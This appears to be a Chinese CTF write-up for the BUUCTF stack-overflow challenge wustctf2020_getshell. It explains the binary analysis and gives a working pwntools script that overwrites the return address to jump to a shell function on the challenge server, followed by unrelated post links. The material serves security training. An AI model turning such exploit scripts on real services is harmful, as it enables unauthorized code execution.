buuctf中的wustctf2020_getshell(栈溢出)

首先checksec检查一下保护机制:

-32位程序

-仅开启了栈不可执行保护

接下来使用反汇编工具IDA进行分析:

发现vulnerable函数和shell函数,分别点进去

vulnerable函数:

buf到栈底的距离为0x18个字节,但是这里read却读入了0x20个字节的数据,存在栈溢出漏洞,顺便算出偏移为0x18 + 0x4

shell函数:

执行shell函数即可拿到shell

顺便拿到shell地址0x804851B

接下来编写exp攻击脚本:

python 复制代码
from pwn import *
context(arch='i386', os='linux', log_level='debug')

#io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect('node5.buuoj.cn',27617)              # 与在线环境交互。


offset = 0x18 + 0x4
shell_addr = 0x804851B

payload = b'a'*offset + p32(shell_addr)
io.sendline(payload)

io.interactive()

这是运行结果:

最后手动输入cat flag拿到flag

相关推荐
王维同学2 小时前
Credential Provider、Filter 与 PLAP 的 CLSID 枚举
c++·windows·安全·注册表
其实防守也摸鱼3 小时前
Kimi K3深度测评:长文本之外的真实力
运维·开发语言·网络·人工智能·python·学习·安全
xian_wwq4 小时前
【学习笔记】Agent 安全护栏 —— 当 Agent DROP TABLE 了你的生产数据库-07/15
笔记·学习·安全
fanchenxinok7 小时前
基于图莫斯的CAN UDS升级上位机-LabVIEW版本(四):TOOMOSS_SID27_SecurityAccess.vi — 安全访问
安全·labview·uds升级·子vi
其实防守也摸鱼9 小时前
KMP全栈开发:从Android到AI Agent的技术演进与实践
android·运维·网络·人工智能·学习·安全·macos
●VON12 小时前
鸿蒙 PC Markdown 编辑器内核:在 ArkWeb 中离线运行 CodeMirror 6
安全·华为·编辑器·harmonyos·鸿蒙
zzq779719 小时前
加固包闪退四象限定位:targetSdk 与保护策略实战解析
android·安全·安卓·安全架构
Promise微笑20 小时前
智能激光清障仪选型指南:高效运维与安全保障的关键考量
运维·安全
●VON21 小时前
鸿蒙 PC Markdown 编辑器存储安全:AtomicFile 原子提交与故障注入
安全·华为·编辑器·harmonyos·鸿蒙
网络研究院1 天前
2026年上半年十大网络攻击和数据泄露事件
网络·安全·漏洞·风险·数据·泄露·事件